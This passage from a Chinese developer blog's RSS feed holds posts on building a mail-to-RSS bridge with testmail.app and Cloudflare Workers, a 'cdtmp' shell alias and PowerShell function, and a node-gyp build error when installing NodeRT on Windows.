        <![CDATA[<p>我之前都是使用自己的邮箱订阅 Newsletter，但是每天好多邮件发送给你，混杂在一些提醒和交流邮件中，怪麻烦的。</p><p>也尝试过好几个订阅 newsletter 的应用，也了解了 mail2rss 这方面的网站和开源项目，一直没有啥好的解决方案。</p><p>有一天偶然看到 testmail.app 这个可以让开发者测试邮件服务的网站，每个用户可以有一个 namespace，然后可以构造出无限个邮件地址，也有相应的 API 用来过滤邮件等等。</p><p>testmail 免费版每个月可以接收 100 封邮件，邮件能保存一天。但是只需要设置 RSS 阅读器请求频率低于一天，肯定就能接收到所有邮件了。</p><p>那么项目思路就有了，使用 serverless 实现一个函数，这个函数每次接受 RSS 阅读器请求时都去抓取最新的邮件列表，然后响应一个 RSS 格式的 XML 文档即可。</p><pre><code class="mermaid">sequenceDiagramloop 每十分钟RSS 阅读器-&gt;&gt;Serverless 函数: a.获取 tag 的最新 RSS 内容activate Serverless 函数Serverless 函数-&gt;&gt;testmail.app: b.请求 tag 对应的邮件列表testmail.app--&gt;&gt;Serverless 函数: c.返回邮件列表Note right of Serverless 函数: 1.处理邮件列表、内容等Serverless 函数--&gt;&gt;RSS 阅读器: d.根据邮件列表生成 RSS 并返回deactivate Serverless 函数end</code></pre><span id="more"></span><p>有了整个项目的思路之后，现在就开始根据 <code>testmail.app</code> 的 API 来写功能就行了，Serverless 选择使用 Cloudflare workers，每天十万次请求数，I / O 时间不限。</p><ul><li>testmail.app：<a href="https://testmail.app/">https://testmail.app/</a></li><li>Cloudflare Workers：<a href="https://workers.cloudflare.com/">https://workers.cloudflare.com/</a></li></ul><h2 id="开始使用-testmail-app">开始使用 testmail.app<a class="header-anchor" href="#开始使用-testmail-app"></a></h2><h3 id="名词解释">名词解释<a class="header-anchor" href="#名词解释"></a></h3><p>注册登录后就能看到一个你自己的 namespace。</p><p>testmail.app 里对 namespace 是这么描述的：<br>testmail.app 会接收发送到 <code>{namespace}.{tag}@inbox.testmail.app</code> 的邮件，<code>{namespace}</code> 是分配给每个人的独自的一个 id，<code>{tag}</code> 是你自己随便输入的，之后我们可以通过 API 来过滤 tag 从而获取我们需要的邮件。</p><h4 id="namespace">namespace<a class="header-anchor" href="#namespace"></a></h4><p>每个 namespace 都支持无限数量的电子邮件地址。</p><p>举个例子：假设你的 namespace 是 acmeinc；然后你发一封邮件到 <code>acmeinc.hello@inbox.testmail.app</code>，再发另一封邮件到 <code>acmeinc.hey@inbox.testmail.app</code>，然后你都能在 acmeinc 这个 namespace 下查到这两封邮件，只是两封邮件带的 tag 不同。</p><h4 id="tag">tag<a class="header-anchor" href="#tag"></a></h4><p>tag 可以是任意内容。</p><p>举个例子：假设你要测试一下新用户注册的功能，你就可以使用 <code>acmeinc.john@inbox.testmail.app</code> 这个邮箱创建用户名为 John 的新用户，通过 <code>acmeinc.albert@inbox.testmail.app</code> 这个邮箱创建用户名为 Albert 的新用户。</p><p>之后查询 API 的时候，可以过滤指定标签来查看发给每个用户的邮件。</p><p><img data-src="https://i.cat.ms/posts/mail2rss-by-cfw-testmail/namespace.png" alt="namespace"></p><h3 id="使用-API">使用 API<a class="header-anchor" href="#使用-API"></a></h3><p>文档地址：<a href="https://testmail.app/docs/">https://testmail.app/docs/</a></p><p>testmail.app 支持直接参数查询和 graphql 两种查询方式。两种方式都是直接获取一个 json 格式的响应，里面有邮件列表，每个邮件的内容，附件，元信息等等。</p><p>进行查询之前要获取一个 API Key，也是登录之后在网页上就能看到了，把 API Key 填到 headers 的 <code>Authorization</code> 即可。</p><p>这里就不详细说了，就是查 API 获取想要的邮件的内容，比如我们使用 quartz 这个 tag 订阅 QuartZ，那我们就只查这个 tag 的邮件即可。</p><p>js 实现的请求邮件：</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> testmailNamespace = <span class="string">'xxxxx'</span>;</span><br><span class="line"><span class="keyword">const</span> testmailToken = <span class="string">'xxxxxxxxxxxxxxx'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestMail</span> {</span><br><span class="line">  <span class="keyword">static</span> testmailApi = <span class="string">'https://api.testmail.app/api/graphql'</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">static</span> <span class="keyword">async</span> <span class="title function_">getMails</span>(<span class="params">tag</span>) {</span><br><span class="line">    <span class="keyword">const</span> query = <span class="string">`{</span></span><br><span class="line"><span class="string">      inbox (</span></span><br><span class="line"><span class="string">        namespace: "<span class="subst">${testmailNamespace}</span>"</span></span><br><span class="line"><span class="string">        tag: "<span class="subst">${tag}</span>"</span></span><br><span class="line"><span class="string">        limit: 99</span></span><br><span class="line"><span class="string">      ) {</span></span><br><span class="line"><span class="string">        emails {</span></span><br><span class="line"><span class="string">          id</span></span><br><span class="line"><span class="string">          subject</span></span><br><span class="line"><span class="string">          html</span></span><br><span class="line"><span class="string">          from</span></span><br><span class="line"><span class="string">          timestamp</span></span><br><span class="line"><span class="string">          downloadUrl</span></span><br><span class="line"><span class="string">          attachments {</span></span><br><span class="line"><span class="string">            cid</span></span><br><span class="line"><span class="string">            downloadUrl</span></span><br><span class="line"><span class="string">          }</span></span><br><span class="line"><span class="string">        }</span></span><br><span class="line"><span class="string">      }</span></span><br><span class="line"><span class="string">    }`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> init = {</span><br><span class="line">      <span class="attr">method</span>: <span class="string">'POST'</span>,</span><br><span class="line">      <span class="attr">headers</span>: {</span><br><span class="line">        <span class="string">'content-type'</span>: <span class="string">'application/json;charset=UTF-8'</span>,</span><br><span class="line">        <span class="title class_">Authorization</span>: <span class="string">`Bearer <span class="subst">${testmailToken}</span>`</span>,</span><br><span class="line">        <span class="title class_">Accept</span>: <span class="string">'application/json'</span>,</span><br><span class="line">      },</span><br><span class="line"></span><br><span class="line">      <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>({</span><br><span class="line">        <span class="attr">operationName</span>: <span class="literal">null</span>,</span><br><span class="line">        query,</span><br><span class="line">        <span class="attr">variables</span>: {},</span><br><span class="line">      }),</span><br><span class="line">    };</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="variable language_">this</span>.<span class="property">testmailApi</span>, init);</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>注意一下这里用的是 GraphQL 的请求方式即可。之后只需要调用 <code>await TestMail.getMails(tag)</code> 即可获取相应 tag 的邮件。</p><h2 id="开始使用-Cloudflare-Workers">开始使用 Cloudflare Workers<a class="header-anchor" href="#开始使用-Cloudflare-Workers"></a></h2><p>按照我们的想法，我们需要 Serverless 函数帮我们做一个中间层，根据 RSS 阅读器的请求生成 RSS 内容。</p><p>所以我们就需要：</p><ol><li>获取用户请求的 tag</li><li>请求 tag 对应的邮件列表</li><li>返回一个 XML 格式的网页。</li></ol><p>第一步就是解析用户请求的地址，然后获取出 tag 就行。比如用户请求的 <code>mail2rss.test.workers.dev/tenjs</code>，我们就要把 <code>tenjs</code> 提取出来即可。</p><p>Cloudflare Workers 中可以通过 <code>event.request.url</code> 拿到用户请求的完整 URL，如果你使用的是其他的 Serverless 服务，如果是 <code>koa-like</code> 的话，一般都是也是通过 Request 拿到 url。</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> {request} = event;</span><br><span class="line"><span class="keyword">let</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>);</span><br><span class="line"><span class="comment">// parse tag</span></span><br><span class="line"><span class="keyword">const</span> requestTag = url.<span class="property">pathname</span>.<span class="title function_">substring</span>(<span class="number">1</span>);</span><br></pre></td></tr></tbody></table></figure><p>第二步请求邮件列表我们已经写好了。</p><p>第三步就是生成一个 XML 格式的响应，再返回即可。</p><h3 id="实现生成-XML">实现生成 XML<a class="header-anchor" href="#实现生成-XML"></a></h3><p>这里我们没有使用模板引擎，直接拼接字符串就行了。</p><p>首先我们得知道 RSS 的文件格式，这里参考了 <a href="https://github.com/DIYgod/RSSHub/blob/master/lib/views/rss.art">RSSHub 的文件内容</a>。然后写一个 <code>makeRss</code> 函数，拼接生成字符串就行。</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">makeRss</span>(<span class="params">emails, tag</span>) {</span><br><span class="line">  <span class="keyword">let</span> items = emails.<span class="title function_">map</span>(<span class="function">(<span class="params">value</span>) =&gt;</span> {</span><br><span class="line">    <span class="keyword">if</span> (value.<span class="property">attachments</span>.<span class="property">length</span> &gt; <span class="number">0</span>) {</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">let</span> i <span class="keyword">of</span> value.<span class="property">attachments</span>) {</span><br><span class="line">        <span class="comment">// update the image link</span></span><br><span class="line">        value.<span class="property">html</span> = value.<span class="property">html</span>.<span class="title function_">replace</span>(<span class="string">`cid:<span class="subst">${i.cid}</span>`</span>, i.<span class="property">downloadUrl</span>);</span><br><span class="line">      }</span><br><span class="line">    }</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`&lt;item&gt;</span></span><br><span class="line"><span class="string">    &lt;title&gt;&lt;![CDATA[<span class="subst">${value.subject}</span>]]&gt;&lt;/title&gt;</span></span><br><span class="line"><span class="string">    &lt;description&gt;&lt;![CDATA[<span class="subst">${value.html}</span>]]&gt;&lt;/description&gt;</span></span><br><span class="line"><span class="string">    &lt;pubDate&gt;<span class="subst">${<span class="keyword">new</span> <span class="built_in">Date</span>(value.timestamp).toGMTString()}</span>&lt;/pubDate&gt;</span></span><br><span class="line"><span class="string">    &lt;guid isPermaLink="false"&gt;<span class="subst">${value.id}</span>&lt;/guid&gt;</span></span><br><span class="line"><span class="string">    &lt;link&gt;<span class="subst">${value.downloadUrl}</span>&lt;/link&gt;</span></span><br><span class="line"><span class="string">    &lt;author&gt;&lt;![CDATA[<span class="subst">${value.<span class="keyword">from</span>}</span>]]&gt;&lt;/author&gt;</span></span><br><span class="line"><span class="string">&lt;/item&gt;`</span>;</span><br><span class="line">  });</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="string">`&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></span><br><span class="line"><span class="string">&lt;rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"&gt;</span></span><br><span class="line"><span class="string">    &lt;channel&gt;</span></span><br><span class="line"><span class="string">        &lt;title&gt;&lt;![CDATA[<span class="subst">${tag}</span>邮件订阅]]&gt;&lt;/title&gt;</span></span><br><span class="line"><span class="string">        &lt;link&gt;<span class="subst">${deployUrl + tag}</span>&lt;/link&gt;</span></span><br><span class="line"><span class="string">        &lt;atom:link href="<span class="subst">${</span></span></span><br><span class="line"><span class="subst"><span class="string">          deployUrl + tag</span></span></span><br><span class="line"><span class="subst"><span class="string">        }</span>" rel="self" type="application/rss+xml" /&gt;</span></span><br><span class="line"><span class="string">        &lt;description&gt;&lt;![CDATA[<span class="subst">${tag}</span>邮件订阅]]&gt;&lt;/description&gt;</span></span><br><span class="line"><span class="string">        &lt;generator&gt;mail2rss&lt;/generator&gt;</span></span><br><span class="line"><span class="string">        &lt;webMaster&gt;lengthmin@gmail.com (Artin)&lt;/webMaster&gt;</span></span><br><span class="line"><span class="string">        &lt;language&gt;zh-cn&lt;/language&gt;</span></span><br><span class="line"><span class="string">        &lt;lastBuildDate&gt;<span class="subst">${<span class="keyword">new</span> <span class="built_in">Date</span>().toGMTString()}</span>&lt;/lastBuildDate&gt;</span></span><br><span class="line"><span class="string">        &lt;ttl&gt;300&lt;/ttl&gt;</span></span><br><span class="line"><span class="string">        <span class="subst">${items.join(<span class="string">'\n'</span>)}</span></span></span><br><span class="line"><span class="string">    &lt;/channel&gt;</span></span><br><span class="line"><span class="string">&lt;/rss&gt;`</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>然后返回响应：</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> responseXML = <span class="keyword">await</span> <span class="title function_">makeRss</span>(data.<span class="property">data</span>.<span class="property">inbox</span>.<span class="property">emails</span>, requestTag);</span><br><span class="line"><span class="keyword">let</span> response = <span class="keyword">new</span> <span class="title class_">Response</span>(responseXML, {</span><br><span class="line">  <span class="attr">status</span>: <span class="number">200</span>,</span><br><span class="line">  <span class="attr">headers</span>: {</span><br><span class="line">    <span class="string">'content-type'</span>: <span class="string">'application/xml; charset=utf-8'</span>,</span><br><span class="line">  },</span><br><span class="line">});</span><br><span class="line">response.<span class="property">headers</span>.<span class="title function_">append</span>(<span class="string">'Cache-Control'</span>, <span class="string">'max-age=600'</span>);</span><br><span class="line"><span class="keyword">return</span> response;</span><br></pre></td></tr></tbody></table></figure><h2 id="总结">总结<a class="header-anchor" href="#总结"></a></h2><p>其实思路也很简单，代码也很简单。</p><p>完整代码见：<a href="https://github.com/bytemain/mail2rss">https://github.com/bytemain/mail2rss</a></p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ol><li>DIYgod/RSSHub<a href="https://github.com/DIYgod/RSSHub">https://github.com/DIYgod/RSSHub</a></li><li>testmail.app<a href="https://testmail.app/">https://testmail.app/</a></li><li>testmail.app Documentation<a href="https://testmail.app/docs/">https://testmail.app/docs/</a></li><li>Cloudflare Workers<a href="https://workers.cloudflare.com/">https://workers.cloudflare.com/</a></li></ol>]]>
      </content:encoded>
    </item>
    <item>
      <title>一个非常省事的命令: cdtmp</title>
      <link>https://cat.ms/posts/cdtmp/</link>
      <description>
        <![CDATA[<p>好久好久之前，看 sorrycc 的视频的时候，发现他用了一个很 tricky 的命令：<code>cdtmp</code>，执行命令后 shell 就会跳到 <code>/tmp/sorrycc-xxxxxx</code> 文件夹下，觉得十分好用。</p>
<p>自己也用了蛮久了，真的十分好用，有很多场景都需要用到：</p>
<p>想写一个验证想法的小 case，或者验证一下某个函数的用处，或者 clone 一下某个仓库查看一下相关内容。直接 <code>cdtmp</code> 打开一个临时文件夹，在里面直接做你想做的事情，而且完全不需要担心这些文件后续的清理问题，Windows 来说使用清理软件清理垃圾时一般都会删除临时文件，Linux 下也有相应的清除 tmp 目录的逻辑和方法。</p>
<p>简单介绍一下这个命令，给出 zsh 中的实现以及一个 Windows 下 <code>PowerShell</code> 里的同样功能的函数。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Shell/">Shell</category>
      <category domain="https://cat.ms/tags/%E6%95%88%E7%8E%87/">效率</category>
      <category domain="https://cat.ms/tags/PowerShell/">PowerShell</category>
      <category domain="https://cat.ms/tags/zsh/">zsh</category>
      <pubDate>Fri, 21 Aug 2020 07:14:50 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>好久好久之前，看 sorrycc 的视频的时候，发现他用了一个很 tricky 的命令：<code>cdtmp</code>，执行命令后 shell 就会跳到 <code>/tmp/sorrycc-xxxxxx</code> 文件夹下，觉得十分好用。</p><p>自己也用了蛮久了，真的十分好用，有很多场景都需要用到：</p><p>想写一个验证想法的小 case，或者验证一下某个函数的用处，或者 clone 一下某个仓库查看一下相关内容。直接 <code>cdtmp</code> 打开一个临时文件夹，在里面直接做你想做的事情，而且完全不需要担心这些文件后续的清理问题，Windows 来说使用清理软件清理垃圾时一般都会删除临时文件，Linux 下也有相应的清除 tmp 目录的逻辑和方法。</p><p>简单介绍一下这个命令，给出 zsh 中的实现以及一个 Windows 下 <code>PowerShell</code> 里的同样功能的函数。</p><span id="more"></span><p>命令的作用就是：在系统的临时目录创建一个文件夹然后跳转过去。</p><h2 id="zsh">zsh<a class="header-anchor" href="#zsh"></a></h2><p>sorrycc 提到的 <code>cdtmp</code>：</p><blockquote><p>cdtmp，进入到一个随机创建的临时目录，简单好用，<a href="http://frantic.im/cdtmp">http://frantic.im/cdtmp</a></p><footer><strong>sorrycc</strong><cite><a href="https://github.com/sorrycc/zaobao/issues/2">github.com/sorrycc/zaobao/issues/2</a></cite></footer></blockquote><p><a href="http://frantic.im/cdtmp">原文</a> 中给出了 zsh 中的实现的链接。</p><p>把下面这行代码添加到你的 <code>.zshrc</code> 文件即可：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">alias</span> cdtmp=<span class="string">'cd `mktemp -d /tmp/artin-XXXXXX`'</span></span><br></pre></td></tr></tbody></table></figure><p>这条命令会在系统临时目录下创建一个名为 <code>artin-XXXXXX</code> 的文件夹，然后跳转过去。</p><h2 id="PowerShell">PowerShell<a class="header-anchor" href="#PowerShell"></a></h2><blockquote><p>我使用的是 PowerShell Core 7，如果你无法使用的话可以自己改改。</p></blockquote><p>在 PowerShell 中单靠 <code>Set-Alias</code> 就没法实现这样的效果了（或者实现比较复杂），但可以写成一个函数，也非常简单，可以直接在 PowerShell 中执行。</p><p>不过 <code>PowerShell</code> 只有 <code>New-TemporaryFile</code> 这个方法，不能直接一个命令创建文件夹。</p><p>所以我们要使用常规一点的方法来实现，也就是拼接要创建的 temp 文件夹名，然后跳转过去。</p><figure class="highlight powershell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">cdtmp</span></span> {</span><br><span class="line">    <span class="variable">$parent</span> = [<span class="type">System.IO.Path</span>]::GetTempPath()</span><br><span class="line">    <span class="variable">$name</span> = <span class="string">'artin-'</span> + <span class="variable">$</span>([<span class="type">System.IO.Path</span>]::GetRandomFileName()).Split(<span class="string">"."</span>)[<span class="number">0</span>]</span><br><span class="line">    <span class="built_in">New-Item</span> <span class="literal">-ItemType</span> Directory <span class="literal">-Path</span> (<span class="built_in">Join-Path</span> <span class="variable">$parent</span> <span class="variable">$name</span>)</span><br><span class="line">    <span class="built_in">cd</span> (<span class="built_in">Join-Path</span> <span class="variable">$parent</span> <span class="variable">$name</span>)</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>直接把这段代码放入 <code>$PROFILE</code> 文件中就好了。</p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://frantic.im/cdtmp">cdtmp</a></li><li><a href="https://github.com/umijs/umi/issues/1614#issuecomment-452140570">sorrycc 介绍 cdtmp</a></li><li><a href="https://github.com/sorrycc/zaobao/issues/2">sorrycc 早报 @ 2017.10</a></li><li><a href="https://stackoverflow.com/questions/34559553/create-a-temporary-directory-in-powershell">stackoverflow 上关于 PowerShell 创建临时文件夹的答案</a></li><li><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-temporaryfile?view=powershell-7">PowerShell New-TemporaryFile 命令详解</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>Windows 安装 NodeRT 踩坑</title>
      <link>https://cat.ms/posts/windows-install-nodert/</link>
      <description>
        <![CDATA[<p>最近在学习 electron，因为在 Windows 上 electron 自带的 Notification 功能有点少，没法加按钮啥的。</p>
<p>查了一下，发现有人已经基于 <code>NodeRT</code> 做了 <a href="https://github.com/felixrieseberg/electron-windows-notifications">electron-windows-notifications</a>，可以在 electron 展示原生的通知框。<code>NodeRT</code> 能让我们在 Node.js 中使用 Windows Runtime API。</p>
<p>然后兴高采烈的执行 <code>yarn add electron-windows-notifications</code>, 结果报错了：</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[4/4] Building fresh packages...</span><br><span class="line">[1/5] ⠈ @nodert-win10-au/windows.applicationmodel</span><br><span class="line">[2/5] ⠁ @nodert-win10-au/windows.data.xml.dom</span><br><span class="line">[3/5] ⠁ @nodert-win10-au/windows.foundation</span><br><span class="line">[4/5] ⠁ @nodert-win10-au/windows.ui.notifications</span><br><span class="line">error SECRETPATH\node_modules\@nodert-win10-au\windows.foundation: Command failed.</span><br><span class="line">Exit code: 1</span><br><span class="line">Command: node-gyp rebuild</span><br><span class="line">Arguments:</span><br><span class="line">Directory: SECRETPATH\node_modules\@nodert-win10-au\windows.foundation</span><br><span class="line">Output:</span><br><span class="line">...</span><br><span class="line">[SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">  _nodert_generated.cpp</span><br><span class="line">  NodeRtUtils.cpp</span><br><span class="line">  OpaqueWrapper.cpp</span><br><span class="line">  CollectionsConverterUtils.cpp</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\nodertutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\_nodert_generated.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">  win_delay_load_hook.cc</span><br><span class="line">NPMPATH\node_modules\node-gyp\src\win_delay_load_hook.cc : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\opaquewrapper.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\collectionsconverterutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">gyp ERR! build error</span><br></pre></td></tr></tbody></table></figure>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Nodejs/">Nodejs</category>
      <category domain="https://cat.ms/tags/Nodejs/">Nodejs</category>
      <category domain="https://cat.ms/tags/Windows/">Windows</category>
      <category domain="https://cat.ms/tags/NodeRT/">NodeRT</category>
      <category domain="https://cat.ms/tags/electron/">electron</category>
      <pubDate>Thu, 20 Aug 2020 03:25:18 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近在学习 electron，因为在 Windows 上 electron 自带的 Notification 功能有点少，没法加按钮啥的。</p><p>查了一下，发现有人已经基于 <code>NodeRT</code> 做了 <a href="https://github.com/felixrieseberg/electron-windows-notifications">electron-windows-notifications</a>，可以在 electron 展示原生的通知框。<code>NodeRT</code> 能让我们在 Node.js 中使用 Windows Runtime API。</p><p>然后兴高采烈的执行 <code>yarn add electron-windows-notifications</code>, 结果报错了：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[4/4] Building fresh packages...</span><br><span class="line">[1/5] ⠈ @nodert-win10-au/windows.applicationmodel</span><br><span class="line">[2/5] ⠁ @nodert-win10-au/windows.data.xml.dom</span><br><span class="line">[3/5] ⠁ @nodert-win10-au/windows.foundation</span><br><span class="line">[4/5] ⠁ @nodert-win10-au/windows.ui.notifications</span><br><span class="line">error SECRETPATH\node_modules\@nodert-win10-au\windows.foundation: Command failed.</span><br><span class="line">Exit code: 1</span><br><span class="line">Command: node-gyp rebuild</span><br><span class="line">Arguments:</span><br><span class="line">Directory: SECRETPATH\node_modules\@nodert-win10-au\windows.foundation</span><br><span class="line">Output:</span><br><span class="line">...</span><br><span class="line">[SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">  _nodert_generated.cpp</span><br><span class="line">  NodeRtUtils.cpp</span><br><span class="line">  OpaqueWrapper.cpp</span><br><span class="line">  CollectionsConverterUtils.cpp</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\nodertutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\_nodert_generated.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">  win_delay_load_hook.cc</span><br><span class="line">NPMPATH\node_modules\node-gyp\src\win_delay_load_hook.cc : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\opaquewrapper.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\collectionsconverterutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]</span><br><span class="line">gyp ERR! build error</span><br></pre></td></tr></tbody></table></figure><span id="more"></span><p>啊，这熟悉的 msvc 工具链报错。错误原因是 <a href="https://docs.microsoft.com/zh-cn/cpp/error-messages/compiler-errors-1/fatal-error-c1107?view=vs-2019">fatal error C1107: 未能找到程序集 “Windows.winmd”</a>，提示说可以用 LIBPATH 设置这个文件的位置。使用 listary 查了一下本机的 <code>Windows.winmd</code> 的 位置，然后就开始了第一次的错误尝试，设置了 <code>LIBPATH</code>，依然报错。</p><p>想想以前使用 VS 的时候，需要在项目中配置一下引用的库的位置才能正确编译，所以这很有可能还是找不到库的位置所以报的错。中间的摸索过程就不写了，直接写怎么解决。</p><h2 id="配置-node-gyp">配置 node-gyp<a class="header-anchor" 